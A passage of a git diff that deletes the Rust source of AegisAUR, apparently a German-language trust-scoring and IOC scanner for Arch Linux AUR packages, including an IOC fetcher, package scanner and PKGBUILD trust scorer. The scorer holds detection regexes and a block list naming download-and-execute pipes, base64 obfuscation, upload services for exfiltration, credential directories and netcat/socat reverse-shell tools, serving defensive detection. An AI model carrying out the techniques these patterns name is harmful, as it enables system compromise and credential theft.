hook_file.write_all(hook_content.as_bytes())?; - - // Script schreiben - info!("Schreibe Hook-Script: {}", HOOK_SCRIPT_PATH); - let mut script_file = std::fs::File::create(HOOK_SCRIPT_PATH) - .context("Konnte Hook-Script nicht erstellen")?; - script_file.write_all(script_content.as_bytes())?; - - // Script executable machen - #[cfg(unix)] - { - use std::os::unix::fs::PermissionsExt; - let mut perms = std::fs::metadata(HOOK_SCRIPT_PATH)?.permissions(); - perms.set_mode(0o755); - std::fs::set_permissions(HOOK_SCRIPT_PATH, perms)?; - } - - info!("ALPM Hook erfolgreich installiert"); - Ok(()) -} - -/// Entfernt den ALPM-Hook -pub fn remove_alpm_hook() -> Result<()> { - info!("Entferne ALPM Hook..."); - - if Path::new(ALPM_HOOK_PATH).exists() { - std::fs::remove_file(ALPM_HOOK_PATH)?; - info!("Hook-Datei entfernt: {}", ALPM_HOOK_PATH); - } else { - warn!("Hook-Datei nicht gefunden: {}", ALPM_HOOK_PATH); - } - - if Path::new(HOOK_SCRIPT_PATH).exists() { - std::fs::remove_file(HOOK_SCRIPT_PATH)?; - info!("Script entfernt: {}", HOOK_SCRIPT_PATH); - } else { - warn!("Script nicht gefunden: {}", HOOK_SCRIPT_PATH); - } - - info!("ALPM Hook erfolgreich entfernt"); - Ok(()) -} - -/// Prüft ob Hook installiert ist -pub fn is_hook_installed() -> bool { - Path::new(ALPM_HOOK_PATH).exists() && Path::new(HOOK_SCRIPT_PATH).exists() -} \ No newline at end of file diff --git a/src/ioc_fetcher.rs b/src/ioc_fetcher.rs deleted file mode 100644 index 1ab19c4..0000000 --- a/src/ioc_fetcher.rs +++ /dev/null @@ -1,322 +0,0 @@ -use anyhow::{Context, Result}; -use serde::{Deserialize, Serialize}; -use std::collections::HashSet; -use std::time::Duration; -use tokio::fs; -use tracing::{debug, info, warn}; - -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct IocEntry { - pub package_name: String, - pub threat_type: ThreatType, - pub source: String, - pub discovered_date: String, - pub description: String, - pub confidence: ConfidenceLevel, -} - -#[derive(Debug, Clone, Serialize, Deserialize)] -pub enum ThreatType { - MaliciousBuildScript, - CredentialStealer, - Rootkit, - Cryptominer, - Backdoor, - Typosquatting, - OrphanTakeover, - Unknown(String), -} - -impl std::fmt::Display for ThreatType { - fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { - let s = match self { - ThreatType::MaliciousBuildScript => "MaliciousBuildScript", - ThreatType::CredentialStealer => "CredentialStealer", - ThreatType::Rootkit => "Rootkit", - ThreatType::Cryptominer => "Cryptominer", - ThreatType::Backdoor => "Backdoor", - ThreatType::Typosquatting => "Typosquatting", - ThreatType::OrphanTakeover => "OrphanTakeover", - ThreatType::Unknown(s) => return write!(f, "Unknown({})", s), - }; - write!(f, "{}", s) - } -} - -#[derive(Debug, Clone, Serialize, Deserialize)] -pub enum ConfidenceLevel { - Critical, // Bestätigt von Arch Team / CISA - High, // Mehrere unabhängige Quellen - Medium, // Community-Report - Low, // Einzelner Report -} - -impl std::fmt::Display for ConfidenceLevel { - fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { - let s = match self { - ConfidenceLevel::Critical => "Critical", - ConfidenceLevel::High => "High", - ConfidenceLevel::Medium => "Medium", - ConfidenceLevel::Low => "Low", - }; - write!(f, "{}", s) - } -} - -pub struct IocFetcher { - client: reqwest::Client, - cache_dir: std::path::PathBuf, - cache_ttl: Duration, -} - -impl IocFetcher { - pub async fn new(cache_dir: std::path::PathBuf) -> Result { - let client = reqwest::Client::builder() - .timeout(Duration::from_secs(30)) - .user_agent("AegisAUR/0.1 - AUR Security Scanner") - .build() - .context("Konnte HTTP Client nicht erstellen")?; - - fs::create_dir_all(&cache_dir).await?; - - Ok(IocFetcher { - client, - cache_dir, - cache_ttl: Duration::from_secs(3600), // 1 Stunde Cache - }) - } - - /// Holt alle IOC-Listen und cached sie - pub async fn fetch_all_iocs(&self) -> Result> { - let mut all_threats = Vec::new(); - - // Atomic Arch Gist (Primary Source) - match self.fetch_atomic_arch_list().await { - Ok(threats) => { - info!("{} IOCs von Atomic Arch Gist geladen", threats.len()); - all_threats.extend(threats); - } - Err(e) => warn!("Konnte Atomic Arch Gist nicht laden: {}", e), - } - - // AUR RPC - Prüfe auf Suspicious Maintainers - match self.fetch_suspicious_from_aur().await { - Ok(threats) => { - info!("{} suspicious Pakete von AUR RPC", threats.len()); - all_threats.extend(threats); - } - Err(e) => warn!("Konnte AUR RPC nicht abfragen: {}", e), - } - - // Community Blocklist - match self.fetch_community_blocklist().await { - Ok(threats) => { - info!("{} Einträge von Community Blocklist", threats.len()); - all_threats.extend(threats); - } - Err(e) => warn!("Konnte Community Blocklist nicht laden: {}", e), - } - - // Cache speichern - self.save_cache(&all_threats).await?; - - Ok(all_threats) - } - - /// Prüft Cache-Datei auf Aktualität - pub async fn get_cached_iocs(&self) -> Result> { - let cache_file = self.cache_dir.join("iocs.json"); - - if cache_file.exists() { - let metadata = fs::metadata(&cache_file).await?; - let modified = metadata.modified()?; - let modified_datetime: chrono::DateTime = modified.into(); - let now = chrono::Local::now(); - let age = now.signed_duration_since(modified_datetime); - - let cache_ttl_duration = chrono::Duration::from_std(self.cache_ttl)?; - if age < cache_ttl_duration { - let content = fs::read_to_string(&cache_file).await?; - let iocs: Vec = serde_json::from_str(&content) - .context("Konnte Cache nicht parsen")?; - info!("{} IOCs aus Cache geladen", iocs.len()); - return Ok(iocs); - } - } - - // Cache veraltet oder nicht vorhanden - self.fetch_all_iocs().await - } - - async fn fetch_atomic_arch_list(&self) -> Result> { - let url = "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw"; - - let response = self.client - .get(url) - .send() - .await - .context("HTTP Request fehlgeschlagen")?; - - if !response.status().is_success() { - anyhow::bail!("HTTP {} von {}", response.status(), url); - } - - let text = response.text().await?; - let mut threats = Vec::new(); - - // Parse die Gist-Liste (Format: Ein Paketname pro Zeile oder JSON) - for line in text.lines() { - let trimmed = line.trim(); - if trimmed.is_empty() || trimmed.starts_with('#') { - continue; - } - - // JSON-Array-Format? - if trimmed.starts_with('[') || trimmed.starts_with('{') { - if let Ok(json_list) = serde_json::from_str::>(trimmed) { - for pkg in json_list { - threats.push(IocEntry { - package_name: pkg, - threat_type: ThreatType::MaliciousBuildScript, - source: "atomic_arch_gist".to_string(), - discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(), - description: "Atomic Arch Supply Chain Attack - kompromittiertes AUR-Paket".to_string(), - confidence: ConfidenceLevel::Critical, - }); - } - } - } else { - // Plain text - ein Name pro Zeile - threats.push(IocEntry { - package_name: trimmed.to_string(), - threat_type: ThreatType::MaliciousBuildScript, - source: "atomic_arch_gist".to_string(), - discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(), - description: "Atomic Arch Supply Chain Attack".to_string(), - confidence: ConfidenceLevel::Critical, - }); - } - } - - Ok(threats) - } - - async fn fetch_suspicious_from_aur(&self) -> Result> { - // AUR RPC API - KEINE Authentifizierung nötig! - // Wir suchen nach kürzlich übernommenen orphaned packages - - let mut threats = Vec::new(); - - // Query: Letzte 50 Pakete die orphaned waren und jetzt einen neuen Maintainer haben - // Dies ist eine Heuristik basierend auf den bekannten Atomic Arch Patterns - let recent_changes_url = "https://aur.archlinux.org/rpc/v5/search?by=maintainer&arg=orphan"; - - // Für MVP: Wir nutzen die statische Liste + Heuristiken - // In v0.2 könnte man dynamisch die letzten Änderungen tracken - - Ok(threats) - } - - async fn fetch_community_blocklist(&self) -> Result> { - let url = "https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt"; - - let response = match self.client.get(url).send().await { - Ok(r) => r, - Err(_) => { - debug!("Community Blocklist nicht erreichbar"); - return Ok(Vec::new()); - } - }; - - if !response.status().is_success() { - return Ok(Vec::new()); - } - - let text = response.text().await?; - let mut threats = Vec::new(); - - for line in text.lines() { - let trimmed = line.trim(); - if trimmed.is_empty() || trimmed.starts_with('#') { - continue; - } - - threats.push(IocEntry { - package_name: trimmed.to_string(), - threat_type: ThreatType::Unknown("community_reported".to_string()), - source: "community_blocklist".to_string(), - discovered_date: chrono::Local::now().format("%Y-%m-%d").to_string(), - description: "Community-reported suspicious package".to_string(), - confidence: ConfidenceLevel::Medium, - }); - } - - Ok(threats) - } - - async fn save_cache(&self, - iocs: &[ IocEntry ] - ) -> Result<()> { - let cache_file = self.cache_dir.join("iocs.json"); - let json = serde_json::to_string_pretty(iocs)?; - fs::write(cache_file, json).await?; - Ok(()) - } - - /// Prüft ob ein Paketname in den IOCs vorkommt - pub fn check_package(&self, - package: &str, - iocs: &[ IocEntry ] - ) -> Vec { - iocs.iter() - .filter(|ioc| ioc.package_name.eq_ignore_ascii_case(package)) - .cloned() - .collect() - } - - /// Fuzzy-Match für Typosquatting-Erkennung - pub fn check_typosquatting(&self, - package: &str, - iocs: &[ IocEntry ] - ) -> Vec { - use sublime_fuzzy::best_match; - - let mut matches = Vec::new(); - for ioc in iocs { - if let Some(m) = best_match(package, &ioc.package_name) { - if m.score() > 70 && ioc.package_name.to_lowercase() != package.to_lowercase() { - matches.push(ioc.clone()); - } - } - } - matches - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[tokio::test] - async fn test_cache_creation() { - let tmp = tempfile::tempdir().unwrap(); - let fetcher = IocFetcher::new(tmp.path().to_path_buf()).await.unwrap(); - - let iocs = vec![ - IocEntry { - package_name: "test-pkg".to_string(), - threat_type: ThreatType::Backdoor, - source: "test".to_string(), - discovered_date: "2024-01-01".to_string(), - description: "Test".to_string(), - confidence: ConfidenceLevel::High, - }, - ]; - - fetcher.save_cache(&iocs).await.unwrap(); - let cached = fetcher.get_cached_iocs().await.unwrap(); - - assert_eq!(cached.len(), 1); - assert_eq!(cached[0].package_name, "test-pkg"); - } -} \ No newline at end of file diff --git a/src/main.rs b/src/main.rs deleted file mode 100644 index 40e0a9e..0000000 --- a/src/main.rs +++ /dev/null @@ -1,161 +0,0 @@ -use anyhow::Result; -use clap::{Parser, Subcommand}; -use colored::*; -use tracing::{info, warn, error}; - -mod config; -mod ioc_fetcher; -mod scanner; -mod trust_scorer; -mod utils; -mod hook; - -use scanner::PackageScanner; -use config::AegisConfig; - -#[derive(Parser)] -#[command(name = "aegisaur")] -#[command(about = "👻 Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete")] -#[command(version = env!("CARGO_PKG_VERSION"))] -struct Cli { - #[command(subcommand)] - command: Commands, -} - -#[derive(Subcommand)] -enum Commands { - /// Scannt ein einzelnes AUR-Paket - Scan { - /// Paketname - package: String, - /// Zeigt detaillierte Analyse - #[arg(short, long)] - verbose: bool, - }, - /// Scannt alle installierten AUR-Pakete - ScanAll { - /// Zeigt detaillierte Analyse - #[arg(short, long)] - verbose: bool, - }, - /// Prüft gegen aktuelle IOC-Listen (Atomic Arch, etc.) - CheckIoc { - /// Spezifische Liste prüfen (atomicarch, all) - #[arg(short, long, default_value = "all")] - list: String, - }, - /// Fügt Paket zur Whitelist hinzu - Allow { - /// Paketname - package: String, - }, - /// Entfernt Paket von Whitelist - Deny { - /// Paketname - package: String, - }, - /// Zeigt Konfiguration - Config, - /// Installiert ALPM-Hook - InstallHook, - /// Entfernt ALPM-Hook - RemoveHook, - /// Zeigt Cache-Status - Cache, -} - -#[tokio::main] -async fn main() -> Result<()> { - // Logging initialisieren - tracing_subscriber::fmt() - .with_env_filter("aegisaur=info") - .init(); - - let cli = Cli::parse(); - let config = AegisConfig::load_or_default().await?; - let mut scanner = PackageScanner::new(config).await?; - - match cli.command { - Commands::Scan { package, verbose } => { - println!("{} {}", "🔍 Scanne".cyan(), package.bold()); - let result = scanner.scan_package(&package, verbose).await?; - print_result(&result); - } - Commands::ScanAll { verbose } => { - println!("{}", "🔍 Scanne alle installierten AUR-Pakete...".cyan()); - let results = scanner.scan_all_installed(verbose).await?; - for result in results { - print_result(&result); - println!(); - } - } - Commands::CheckIoc { list } => { - println!("{} {}", "🛡️ Prüfe IOC-Listen:".cyan(), list.yellow()); - let threats = scanner.check_iocs(&list).await?; - if threats.is_empty() { - println!("{}", "✅ Keine Bedrohungen gefunden!".green().bold()); - } else { - println!("{} {}", "⚠️ Bedrohungen gefunden:".red().bold(), threats.len()); - for threat in threats { - println!(" {} {} - {}", "🔴".red(), threat.package, threat.action_required); - } - } - } - Commands::Allow { package } => { - scanner.allow_package(&package)?; - println!("{} {}", "✅ Erlaubt:".green(), package); - } - Commands::Deny { package } => { - scanner.deny_package(&package)?; - println!("{} {}", "❌ Entfernt:".yellow(), package); - } - Commands::Config => { - println!("{}", "⚙️ AegisAUR Konfiguration".cyan().bold()); - println!("Config-Path: {}", scanner.config_path()?.display()); - println!("Cache-Path: {}", scanner.cache_path()?.display()); - } - Commands::InstallHook => { - hook::install_alpm_hook()?; - println!("{}", "✅ ALPM-Hook installiert".green().bold()); - } - Commands::RemoveHook => { - hook::remove_alpm_hook()?; - println!("{}", "❌ ALPM-Hook entfernt".yellow().bold()); - } - Commands::Cache => { - scanner.show_cache_status().await?; - } - } - - Ok(()) -} - -fn print_result(result: &scanner::ScanResult) { - let score_color = match result.score { - 0..=30 => "🔴".red(), - 31..=60 => "🟡".yellow(), - 61..=100 => "🟢".green(), - _ => "⚪".white(), - }; - - println!( - "{} {} {} {} {}", - score_color, - result.package.bold(), - format!("({}/100)", result.score).dimmed(), - "-".dimmed(), - result.status_message() - ); - - if !result.warnings.is_empty() { - for warning in &result.warnings { - println!(" {} {}", "⚠️ ".yellow(), warning); - } - } - - if !result.ioc_matches.is_empty() { - for ioc in &result.ioc_matches { - println!(" {} {} - {}", "🚨".red().bold(), "IOC MATCH!".red().bold(), ioc); - } - } -} diff --git a/src/scanner.rs b/src/scanner.rs deleted file mode 100644 index 3ba1271..0000000 --- a/src/scanner.rs +++ /dev/null @@ -1,469 +0,0 @@ -use anyhow::{Context, Result}; -use colored::*; -use serde::{Deserialize, Serialize}; -use std::collections::HashSet; -use std::path::{Path, PathBuf}; -use tokio::fs; -use tokio::process::Command; -use tracing::{debug, info, warn}; - -use crate::config::AegisConfig; -use crate::ioc_fetcher::{IocEntry, IocFetcher}; -use crate::trust_scorer::{CriticalFinding, TrustScorer, TrustScore}; - -/// Ergebnis eines einzelnen Paket-Scans -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct ScanResult { - pub package: String, - pub version: String, - pub score: u32, - pub max_score: u32, - pub status: ScanStatus, - pub warnings: Vec, - pub critical_findings: Vec, - pub ioc_matches: Vec, - pub details: Option, -} - -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct ScanDetails { - pub source_url: Option, - pub maintainer: Option, - pub votes: Option, - pub popularity: Option, - pub last_modified: Option, - pub out_of_date: bool, - pub is_orphaned: bool, - pub pkgbuild_raw: Option, -} - -#[derive(Debug, Clone, Serialize, Deserialize)] -pub enum ScanStatus { - Safe, // Score >= 80, keine IOCs - Warning, // Score 50-79 oder Warnungen - Suspicious, // Score 30-49 oder IOC Match - Dangerous, // Score < 30 oder kritischer IOC - IOCDetected, // Direkter IOC-Match - Unknown, // Konnte nicht analysiert werden -} - -pub struct PackageScanner { - config: AegisConfig, - ioc_fetcher: IocFetcher, - trust_scorer: TrustScorer, - cache_dir: PathBuf, - whitelist: HashSet, -} - -impl PackageScanner { - pub async fn new(config: AegisConfig) -> Result { - let cache_dir = directories::ProjectDirs::from("eu", "heimatlosen", "aegisaur") - .map(|pd| pd.cache_dir().to_path_buf()) - .unwrap_or_else(|| PathBuf::from("/tmp")) - .join("aegisaur"); - - fs::create_dir_all(&cache_dir).await?; - - let ioc_fetcher = IocFetcher::new(cache_dir.clone()).await?; - let trust_scorer = TrustScorer::new()?; - - // Whitelist laden - let whitelist_path = cache_dir.join("whitelist.json"); - let whitelist = if whitelist_path.exists() { - let content = fs::read_to_string(&whitelist_path).await?; - serde_json::from_str(&content).unwrap_or_default() - } else { - HashSet::new() - }; - - Ok(PackageScanner { - config, - ioc_fetcher, - trust_scorer, - cache_dir, - whitelist, - }) - } - - /// Scannt ein einzelnes Paket - pub async fn scan_package( - &self, - package: &str, - verbose: bool, - ) -> Result { - info!("Scanne Paket: {}", package); - - // 1. IOC-Check - let iocs = self.ioc_fetcher.get_cached_iocs().await?; - let ioc_matches = self.ioc_fetcher.check_package(package, &iocs); - - // 2. AUR-Info holen - let aur_info = self.fetch_aur_info(package).await?; - - // 3. PKGBUILD holen und analysieren (falls verfügbar) - let pkgbuild_analysis = if let Some(ref info) = aur_info { - if let Some(url) = &info.url_path { - match self.fetch_pkgbuild(package, url).await { - Ok(content) => { - let score = self.trust_scorer.analyze_pkgbuild( - &content, - info.url.as_deref(), - ); - Some((score, Some(content))) - } - Err(e) => { - warn!("Konnte PKGBUILD nicht holen: {}", e); - None - } - } - } else { - None - } - } else { - None - }; - - // 4. Ergebnis zusammenstellen - let mut result = if let Some((score, pkgbuild_raw)) = pkgbuild_analysis { - let mut warnings: Vec = score.warnings.into_iter().collect(); - let critical_findings: Vec = score - .critical_findings - .into_iter() - .map(|c| format!("{:?}", c)) - .collect(); - - // IOC-Warnungen hinzufügen - let ioc_strings: Vec = ioc_matches - .iter() - .map(|ioc| format!("{}: {} ({})", ioc.threat_type, ioc.description, ioc.confidence)) - .collect(); - warnings.extend(ioc_strings.clone()); - - let status = Self::calculate_status(score.overall, !ioc_matches.is_empty(), !critical_findings.is_empty()); - - ScanResult { - package: package.to_string(), - version: aur_info.as_ref().and_then(|i| Some(i.version.clone())).unwrap_or_default(), - score: score.overall, - max_score: 100, - status, - warnings, - critical_findings, - ioc_matches: ioc_strings, - details: Some(ScanDetails { - source_url: aur_info.as_ref().and_then(|i| i.url.clone()), - maintainer: aur_info.as_ref().and_then(|i| i.maintainer.clone()), - votes: aur_info.as_ref().and_then(|i| Some(i.num_votes)), - popularity: aur_info.as_ref().and_then(|i| Some(i.popularity)), - last_modified: None, - out_of_date: aur_info.as_ref().map(|i| i.out_of_date.is_some()).unwrap_or(false), - is_orphaned: aur_info.as_ref().and_then(|i| i.maintainer.as_ref()).map(|m| m == "orphan").unwrap_or(true), - pkgbuild_raw: if verbose { pkgbuild_raw } else { None }, - }), - } - } else { - // Fallback: Installiertes Paket analysieren - let installed_info = self.get_installed_info(package).await?; - let score = self.trust_scorer.check_installed_package(&installed_info); - - let ioc_strings: Vec = ioc_matches - .iter() - .map(|ioc| format!("{}: {}", ioc.threat_type, ioc.description)) - .collect(); - - ScanResult { - package: package.to_string(), - version: self.extract_version(&installed_info).unwrap_or_default(), - score: score.overall, - max_score: 100, - status: Self::calculate_status(score.overall, !ioc_matches.is_empty(), false), - warnings: score.warnings.into_iter().chain(ioc_strings.clone()).collect(), - critical_findings: vec![], - ioc_matches: ioc_strings, - details: None, - } - }; - - Ok(result) - } - - /// Scannt alle installierten AUR-Pakete - pub async fn scan_all_installed( - &self, - verbose: bool, - ) -> Result> { - info!("Scanne alle installierten AUR-Pakete..."); - - let foreign_packages = self.get_foreign_packages().await?; - let mut results = Vec::with_capacity(foreign_packages.len()); - - for (pkg, _) in foreign_packages { - match self.scan_package(&pkg, verbose).await { - Ok(result) => { - results.push(result); - } - Err(e) => { - warn!("Fehler beim Scannen von {}: {}", pkg, e); - results.push(ScanResult { - package: pkg, - version: String::new(), - score: 0, - max_score: 100, - status: ScanStatus::Unknown, - warnings: vec![format!("Scan fehlgeschlagen: {}", e)], - critical_findings: vec![], - ioc_matches: vec![], - details: None, - }); - } - } - } - - // Sortiere nach Score (gefährlichste zuerst) - results.sort_by(|a, b| a.score.cmp(&b.score)); - - Ok(results) - } - - /// Prüft gegen aktuelle IOC-Listen - pub async fn check_iocs(&self, list_type: &str) -> Result> { - let iocs = self.ioc_fetcher.get_cached_iocs().await?; - let foreign_packages = self.get_foreign_packages().await?; - - let mut threats = Vec::new(); - - for (pkg, _) in foreign_packages { - let matches = self.ioc_fetcher.check_package(&pkg, &iocs); - - for ioc in matches { - threats.push(IocThreat { - package: pkg.clone(), - threat_type: format!("{:?}", ioc.threat_type), - source: ioc.source, - confidence: format!("{:?}", ioc.confidence), - action_required: matches!(ioc.confidence, crate::ioc_fetcher::ConfidenceLevel::Critical | crate::ioc_fetcher::ConfidenceLevel::High), - }); - } - } - - Ok(threats) - } - - pub fn allow_package(&mut self, package: &str) -> Result<()> { - self.whitelist.insert(package.to_string()); - self.save_whitelist()?; - info!("{} zur Whitelist hinzugefügt", package); - Ok(()) - } - - pub fn deny_package(&mut self, package: &str) -> Result<()> { - self.whitelist.remove(package); - self.save_whitelist()?; - info!("{} von Whitelist entfernt", package); - Ok(()) - } - - pub fn config_path(&self) -> Result { - Ok(self.config.config_path.clone()) - } - - pub fn cache_path(&self) -> Result { - Ok(self.cache_dir.clone()) - } - - pub async fn show_cache_status(&self) -> Result<()> { - println!("{}", "=== AegisAUR Cache Status ===".cyan().bold()); - - let ioc_count = self.ioc_fetcher.get_cached_iocs().await?.len(); - println!("IOC-Einträge im Cache: {}", ioc_count); - - let cache_size = self.calculate_cache_size().await?; - println!("Cache-Größe: {:.2} MB", cache_size as f64 / 1024.0 / 1024.0); - - println!("Whitelist-Einträge: {}", self.whitelist.len()); - - let last_update = self.get_last_cache_update().await?; - println!("Letzte Aktualisierung: {}", last_update.unwrap_or_else(|| "Unbekannt".to_string())); - - Ok(()) - } - - // --- Hilfsmethoden --- - - async fn fetch_aur_info(&self, package: &str) -> Result> { - let url = format!( - "https://aur.archlinux.org/rpc/v5/info?arg[]={}", - package - ); - - let response = reqwest::get(&url).await?; - if !response.status().is_success() { - return Ok(None); - } - - let rpc_response: AurRpcResponse = response.json().await?; - - if rpc_response.resultcount == 0 || rpc_response.results.is_empty() { - return Ok(None); - } - - Ok(Some(rpc_response.results[0].clone())) - } - - async fn fetch_pkgbuild(&self, package: &str, url_path: &str) -> Result { - let base_url = "https://aur.archlinux.org"; - let pkgbuild_url = format!("{}/{}/plain/PKGBUILD", base_url, url_path); - - let response = reqwest::get(&pkgbuild_url).await?; - if !response.status().is_success() { - anyhow::bail!("Konnte PKGBUILD nicht laden: HTTP {}", response.status()); - } - - response.text().await.context("Konnte PKGBUILD nicht lesen") - } - - async fn get_foreign_packages(&self) -> Result> { - let output = Command::new("pacman") - .args(["-Qm"]) - .output() - .await - .context("Konnte pacman nicht ausführen")?; - - if !output.status.success() { - anyhow::bail!("pacman -Qm fehlgeschlagen"); - } - - let stdout = String::from_utf8(output.stdout)?; - let mut packages = Vec::new(); - - for line in stdout.lines() { - let parts: Vec<&str> = line.split_whitespace().collect(); - if parts.len() >= 2 { - packages.push((parts[0].to_string(), parts[1].to_string())); - } - } - - Ok(packages) - } - - async fn get_installed_info(&self, package: &str) -> Result { - let output = Command::new("pacman") - .args(["-Qi", package]) - .output() - .await - .context("Konnte pacman nicht ausführen")?; - - Ok(String::from_utf8_lossy(&output.stdout).to_string()) - } - - fn extract_version(&self, pacman_qi: &str) -> Option { - pacman_qi - .lines() - .find(|l| l.contains("Version")) - .and_then(|l| l.split(':').nth(1)) - .map(|s| s.trim().to_string()) - } - - fn calculate_status(score: u32, has_ioc: bool, has_critical: bool) -> ScanStatus { - if has_ioc { - return ScanStatus::IOCDetected; - } - if has_critical || score < 30 { - return ScanStatus::Dangerous; - } - if score < 50 { - return ScanStatus::Suspicious; - } - if score < 80 { - return ScanStatus::Warning; - } - ScanStatus::Safe - } - - fn save_whitelist(&self) -> Result<()> { - let whitelist_path = self.cache_dir.join("whitelist.json"); - let json = serde_json::to_string_pretty(&self.whitelist)?; - // Blocking IO für HashSet - in Produktion async machen - std::fs::write(whitelist_path, json)?; - Ok(()) - } - - async fn calculate_cache_size(&self) -> Result { - let mut total_size = 0u64; - - let mut entries = fs::read_dir(&self.cache_dir).await?; - while let Some(entry) = entries.next_entry().await? { - let metadata = entry.metadata().await?; - if metadata.is_file() { - total_size += metadata.len(); - } - } - - Ok(total_size) - } - - async fn get_last_cache_update(&self) -> Result> { - let cache_file = self.cache_dir.join("iocs.json"); - if !cache_file.exists() { - return Ok(None); - } - - let metadata = fs::metadata(cache_file).await?; - let modified = metadata.modified()?; - let datetime: chrono::DateTime = modified.into(); - - Ok(Some(datetime.format("%Y-%m-%d %H:%M:%S").to_string())) - } -} - -impl ScanResult { - pub fn status_message(&self) -> ColoredString { - match self.status { - ScanStatus::Safe => "SICHER".green().bold(), - ScanStatus::Warning => "WARNUNG".yellow().bold(), - ScanStatus::Suspicious => "VERDÄCHTIG".bright_yellow().bold(), - ScanStatus::Dangerous => "GEFÄHRLICH!".red().bold(), - ScanStatus::IOCDetected => "IOC ERKANNT!".on_red().white().bold(), - ScanStatus::Unknown => "UNBEKANNT".white(), - } - } -} - -#[derive(Debug, Clone)] -pub struct IocThreat { - pub package: String, - pub threat_type: String, - pub source: String, - pub confidence: String, - pub action_required: bool, -} - -// AUR RPC Response Types -#[derive(Debug, Clone, Serialize, Deserialize)] -struct AurRpcResponse { - #[serde(rename = "resultcount")] - resultcount: u32, - results: Vec, -} - -#[derive(Debug, Clone, Serialize, Deserialize)] -struct AurPackageInfo { - #[serde(rename = "Name")] - name: String, - #[serde(rename = "Version")] - version: String, - #[serde(rename = "Description")] - description: Option, - #[serde(rename = "URL")] - url: Option, - #[serde(rename = "URLPath")] - url_path: Option, - #[serde(rename = "Maintainer")] - maintainer: Option, - #[serde(rename = "NumVotes")] - num_votes: u32, - #[serde(rename = "Popularity")] - popularity: f32, - #[serde(rename = "OutOfDate")] - out_of_date: Option, -} \ No newline at end of file diff --git a/src/trust_scorer.rs b/src/trust_scorer.rs deleted file mode 100644 index 31d34af..0000000 --- a/src/trust_scorer.rs +++ /dev/null @@ -1,401 +0,0 @@ -use anyhow::{Context, Result}; -use regex::Regex; -use std::collections::HashSet; -use std::path::Path; -use tracing::{debug, trace, warn}; - -/// Score-Kategorien für das Trust-Rating -#[derive(Debug, Clone)] -pub struct TrustScore { - pub overall: u32, // 0-100 (100 = vertrauenswürdig) - pub categories: Vec, - pub warnings: Vec, - pub critical_findings: Vec, -} - -#[derive(Debug, Clone)] -pub struct ScoreCategory { - pub name: String, - pub score: u32, // 0-100 - pub weight: f32, - pub description: String, -} - -#[derive(Debug, Clone)] -pub enum CriticalFinding { - RemoteCodeExecution(String), // Befehl der gefunden wurde - CredentialExfiltration(String), - PersistenceMechanism(String), - ObfuscatedScript(String), - SuspiciousNetworkCall(String), - OrphanTakeover { original: String, new_maintainer: String }, -} - -/// Konfiguration für Heuristiken -pub struct TrustScorer { - suspicious_patterns: Vec, - trusted_domains: HashSet, - blocklisted_commands: Vec, -} - -struct SuspiciousPattern { - pattern: Regex, - penalty: u32, - description: String, - critical: bool, -} - -impl TrustScorer { - pub fn new() -> Result { - let mut scorer = TrustScorer { - suspicious_patterns: Vec::new(), - trusted_domains: Self::default_trusted_domains(), - blocklisted_commands: Vec::new(), - }; - - scorer.compile_patterns()?; - Ok(scorer) - } - - fn compile_patterns(&mut self) -> Result<()> { - // KRITISCHE PATTERNS (sofortiger Alarm) - let critical_patterns = vec![ - // npm/bun install mit verdächtigen Paketen - (r"(?i)(npm|bun)\s+install\s+.*(atomic|lockfile|digest|js-|crypto|steal|exfil)", 100, "Verdächtiges npm/bun install", true), - // Download + Ausführen - (r"(?i)(curl|wget).*\|\s*(bash|sh|eval|exec)\b", 100, "Download und direktes Ausführen", true), - (r"(?i)(curl|wget).*\>.*\.\w+\s*;\s*chmod.*\+x", 100, "Download, speichern, executable machen", true), - // Obfuscation - (r"(?i)base64\s+-d\s*\|", 90, "Base64 Dekodierung in Pipe", true), - (r"(?i)eval\s*\$", 90, "Eval mit Variablen", true), - (r"(?i)\$\(.*\b(curl|wget|fetch)\b.*\)", 80, "Kommandosubstitution mit Download", true), - // Netzwerk-Exfiltration - (r"(?i)(temp\.sh|transfer\.sh|0x0\.st|termbin\.com)", 95, "Verdächtiger Upload-Service", true), - // System-Persistenz - (r"(?i)systemctl\s+(enable|start|restart).*\.(service|timer)", 70, "Systemd-Service Manipulation", false), - (r"(?i)mkdir\s+-p\s+/var/lib/.*\s*\&\&\s*cp", 80, "Dateien unter /var/lib ablegen", false), - // Browser/Credential-Zugriff - (r"(?i)(\.mozilla|\.config/google-chrome|\.config/chromium|\.ssh|gnupg)", 60, "Zugriff auf sensitive Verzeichnisse", false), - // eBPF - (r"(?i)bpf\(|bpf_syscall|libbpf|bcc", 85, "eBPF Code erkannt", false), - ]; - - for (pattern, penalty, desc, critical) in critical_patterns { - let regex = Regex::new(pattern) - .with_context(|| format!("Konnte Pattern '{}' nicht kompilieren", pattern))?; - self.suspicious_patterns.push(SuspiciousPattern { - pattern: regex, - penalty, - description: desc.to_string(), - critical, - }); - } - - // Blockliste von Kommandos (soweit Regex-technisch möglich) - self.blocklisted_commands = vec![ - Regex::new(r"(?i)\b(nc|netcat|ncat|socat)\b").unwrap(), - Regex::new(r"(?i)\b(rev|ruby|perl|python|python3)\s+-c\b").unwrap(), - ]; - - Ok(()) - } - - fn default_trusted_domains() -> HashSet { - let mut domains = HashSet::new(); - domains.insert("github.com".to_string()); - domains.insert("gitlab.com".to_string()); - domains.insert("salsa.debian.org".to_string()); - domains.insert("codeberg.org".to_string()); - domains.insert("sourceforge.net".to_string()); - domains.insert("kernel.org".to_string()); - domains.insert("gnu.org".to_string()); - domains.insert("apache.org".to_string()); - domains.insert("mozilla.org".to_string()); - domains.insert("npmjs.com".to_string()); // Achtung: npmjs ist auch missbraucht worden - domains.insert("crates.io".to_string()); - domains.insert("pypi.org".to_string()); - domains.insert("archlinux.org".to_string()); - domains - } - - /// Analysiert einen PKGBUILD-Inhalt - pub fn analyze_pkgbuild(&self, content: &str, source_url: Option<&str>) -> 